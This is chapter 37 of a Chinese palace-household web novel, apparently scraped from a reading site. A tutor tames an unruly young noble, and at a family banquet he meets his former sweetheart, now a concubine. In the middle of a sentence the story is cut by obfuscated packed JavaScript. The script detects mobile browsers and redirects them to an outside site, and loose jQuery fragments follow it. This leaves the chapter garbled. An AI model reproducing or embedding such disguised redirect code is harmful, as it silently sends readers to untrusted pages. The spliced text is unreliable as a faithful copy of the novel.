默认冷灰
24号文字
方正启体

37. 青梅竹马

作者:听风入夜本书字数:K更新时间:
    崔昱盯着书上的字,一言不发,却又忍不住翻了两页,终于指着其中一字问道:“这字,你认得么?”


    郑安似笑非笑:“你想知道?”


    崔昱气得将书一合:“你到底教不教?”


    “我教,”郑安终于坐下,“但既是读书,须有规矩。你既坐上案边,便是学生,便该守学生之礼。郑某不是你的奴仆,也非你家门下小吏,若你要学,就收起你那副公子哥的架子。”


    崔昱眉心直蹙,脸色极不好看。


    父亲那边整日说他无用,说他只会摆架子,说他年纪轻轻就仗着宠打人骂人……这些话他平日听多了,从不放在心上,可现在郑安当着别人面说,他忽然觉出一种羞辱。


    他咬了咬牙,眼里火光一闪,低声骂了一句“装清高的酸儒”,终究还是往那椅上一坐。


    “成,你讲吧。”说这话时,他眼神锋利,仍是一副“随时准备找茬”的模样。


    郑安却像没察觉那点刺意,只取过毛笔,将那“龠”字临摹一遍,又提笔写下“律”“吕”“宫”“商”等字,提声道:“龠,为古乐器,三孔,象征调和、节律。后代礼乐渐衰,音律废弛,是以周公制礼作乐,用以教化诸侯。”


    崔昱嗤笑:“我学这些干什么,又不是要去吹笛子。”


    “非也,你不懂律,便不懂礼,不懂礼,日后只会一事无成。你若不信,回头可去问你兄长,宫中赐宴时,哪位世家子敢用错坐次,敢越礼侍言?”


    话说得不轻不重,恰好点中崔昱的“软肋”。


    他最怕被人说“将来扶不上台面”。


    那瘸子大哥是世子,就算被废了,日后承爵的也是二哥,他因年纪小,常常被众人轻视。


    父亲对二哥严厉,是因将他当世子培养,而对他虽常呵斥,却并不多以教导。


    母亲也一样,全然将希望寄托在二哥身上,他不服!


    现在被郑安这样不动声色一激,他反倒坐直了些,咬着牙道:“那你说,我该从哪里学起?”


    “学起不难,”郑安看了他一眼,似笑非笑,“难的是心气。”


    书房窗外,蝉鸣未歇暑热渐烈。


    崔晋立于窗后,听着里面那一问一答,唇角不觉浮起一丝笑意。


    崔昱那桀骜不驯的脾气,是他向来头疼之事。


    可刚才那一课,他听得清清楚楚,一无呵斥二不动怒,郑安却能将一群先生都制不住的顽劣子弟拢住,还拐着弯儿将人驯得服气,倒真不是寻常读书人。


    他更意外的,却是莞言竟能请来如此人。


    这女儿倒不是他过去以为的那种“安分守礼”而已。


    知进退、懂局势,有胆有识,又藏得住锋芒。国公府这一脉几个子女中,竟还是她最像自己。


    可惜是个女儿。


    正想着,却听身侧脚步轻响,崔莞言不知何时已来到他近前。


    她似知他心思,神色如常地开口:“父亲,郑安方才初入府中,女儿想着,晚上设一席家宴,不铺张,也好让他熟悉这府中气脉。咱们国公府若要立家风、聚人才,总不能只看出身门第。”


    崔晋眸光动了动。


    眼下朝局不稳,士林议论纷纷,正需这样一笔清流,叫人知晓国公府识人不拘门户,有容乃大。


    “你安排得很好。”


    -


    申时刚过,国公府的席面便已摆开。


    下人们进进出出,忙得脚不沾地,人人却神情利落。


    新来的郑先生治住了三少爷的消息,午后传遍了整个府里,听说三少爷脸都黑了,却一句不敢回嘴,众人皆惊得下巴都要掉了。


    那可是崔昱啊。


    素日里谁敢惹他?稍不如意就是一脚踹翻茶盏,动辄打骂伺候的下人,府里上下也只有二小姐敢挡一挡他锋头,如今却真让这位新先生压住了性子。


    因此今日这场家宴,便连厨房都比往常多了三分用心,谁都知道,是二小姐特意为这位郑先生设的。


    赵姨娘也在忙活,虽是从前的下等丫鬟出身,如今得二小姐信重,帮着料理厅事倒也风风火火,几位年长的老嬷嬷瞧着,都说赵姨娘比从前多了几分风范,说话腰杆也直了。


    一边春风得意,另一边却是门前冷落。


    孙氏这几日在后院独守开房,府中谁也不曾去看她一眼,连向来惯于逢迎的管事婆子都开始绕道行事。


    直到今晨,丫鬟带进一桩消息。


    “三少爷那儿新来了位郑先生,往后也不用姨娘跟着操心了。”


    “郑先生?”


    “姓郑,名安,约莫二十六岁,听说还未娶妻呢。”


    孙氏听见这名字,心头如被针刺般疼痛不断。


    郑安。她默念着这个名字,仿佛隔着十多年漫长的光阴,仍能忆起那个少年眉眼清朗、望着她轻声唤“阿颜”的模样。


    那是她最干净的时光。


    可如今,她不过是个姨娘,一个低贱的妾室,昔日的青梅竹马已成他人口中的“郑先生”,她有什么脸再见他?


    她怕多看一眼,便藏不住那点狼狈心思。


    午后她本想推说身体不适,不去赴晚上的家宴,怎料崔晋听说后,面色一沉,当着下人的面斥她:“病了?我看你好得很,几日不见,倒是越发不成体统了。”


    灵绣恭顺地立在一旁,一句接一句地“劝诫”:“孙姨娘前些日子是委屈了些,可为了三少爷,咱们也得全了这礼数不是……”


    一番话说得她牙关都咬紧。


    她原以为灵绣不过是个靠美色的蠢丫头,现在才知,这贱人心思比谁都深。


    崔晋对她这段时日已是厌倦,现下更是半句好话都不肯给,她若执意不去,只怕日后连这院子都保不住。


    罢了。


    她闭了闭眼,勉强稳住心神,如今她身在局中,哪怕心中滔天波澜,也只能将那些往事、那些柔情,统统压下去,藏进一身素衣罗衫里。


    -


    日暮方沉灯火初上,前厅早早便亮了灯,烛光倒映在窗纸上,连人影都显得格外分明。


    孙氏踏进宴厅那刻,厅中众人已基本落座。


    她本欲低调行事,怎料才踏进门槛,就见那位端坐于主座右下的少女起了身,笑意温婉地朝她看来:“姨娘来了。”


    孙氏面上不动,盈盈一礼:“妾身来迟,请老爷恕罪。”


    她行礼时,目光不动声色地扫过厅中来客,视线顿在第三席左侧的男人身上。


    十余年光阴,从青衫意气到如今冠服整肃,他容貌已沉稳许多,眉眼却仍带着那股她熟悉的清冷。


    郑安抬起眼来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259776|177806||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,四目交投,却只一瞬便垂眸避开,复又淡然如初。


    孙氏心里早已冷透。


    人是崔莞言故意请来的,为的就是乱她心智,找个可乘之机将她一举除掉。


    她绝不能让这贱人如意!


    于是她低首坐在一旁,神色平和得无懈可击。


    而上座之上的崔莞言,早已将二人神情尽收眼底。


    郑安收敛的眸光、孙氏一瞬的失神,全然逃不过她的眼。


    她唇边仍带笑意,轻轻抿了一口茶,心中却起了几分兴致。


    这对“苦命鸳鸯”,呵,真真可怜又可笑。


    她要看他们还能撑到几时。


    “时候不早了,”首座上的崔晋终于出声,“开席吧。”


    仆从闻言连忙呈上酒食,宾主寒暄声交错其间,满堂皆是礼乐太平的热闹假象。


    崔莞言轻轻拨着碟中细点,语气随意:“听说郑先生近几年在江南授学颇得士林推崇,却不知是哪一家子弟?”


    郑安淡淡一笑,语气谦和:“不过寒门小户,祖上是乡中主簿,父母早亡,家中也无甚根基。”


    崔晋接了话,笑道:“门第高低算不得什么。先生才识远播,如今请到府中,正是我崔家之幸。”


    崔莞言斜睨一眼孙氏,随即低头替老太太夹了一块细糕,漫不经心地又问:“郑先生在外多年,不知家中还有何人?”


    郑安仍是平静如水:“郑某身边并无亲眷,一直寄住在书馆之中。”


    崔莞言点点头,眼底却轻轻敛了光。


    她并不急着追问,眼下这种坦然却留白的回应,反倒逼得旁人不得不顺着往下问。


    果然,崔晋微一颔首:“这样啊,那……郑先生至今未娶?”


    郑安复又低下眼睫:“多谢大人关怀。少年时有意中人,只可惜她早些年便去了,故此至今未娶。”


    崔莞言没回头看,却能想见孙氏神色已变。她素来最重颜面,此刻恐怕已经在心头百转千回,只是死死按捺不肯露出破绽罢了。


    “多情却无果,郑先生倒是痴心。”


    孙氏明知道那话是崔莞言故意引出来的,可她的胸口还是狠狠一窒。


    她闭了闭眼,忍下酸意,强撑着没让眼眶泛红。


    崔晋得清她脸色略有异样,便略一皱眉:“可是哪里不适?”


    孙氏忙低头掩住情绪:“并无大碍,许是今晨着了些风。”


    崔晋没多追问,只摆手让她坐下,语气却冷了几分:“席间勿要失礼。”


    郑安不动声色地扫了眼上座的崔晋,心中却像被细线缠住,一寸寸收紧。


    那般隐忍,那般小心翼翼……


    他垂下眸,喉间有些涩。


    若是当年他能再争一争,是不是一切都不会是现在这般模样?


    可惜,一切都已迟了。


    酒过三巡,他终还是斟了一盏薄酒,轻轻举起,朝上座行礼:“郑某初入京中,承蒙国公大人信任,得在府中暂居,已是三生有幸。”


    说罢,他神色不变地转了个角度,酒盏轻轻朝右一偏,对着那位始终沉默寡言的女子轻轻一顿:“也多谢……小姐、姨娘款待。”


    孙氏勉强抿唇一笑,不去看他。


    终究是过去太久了,久到他已能旁观她嫁做人妇。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)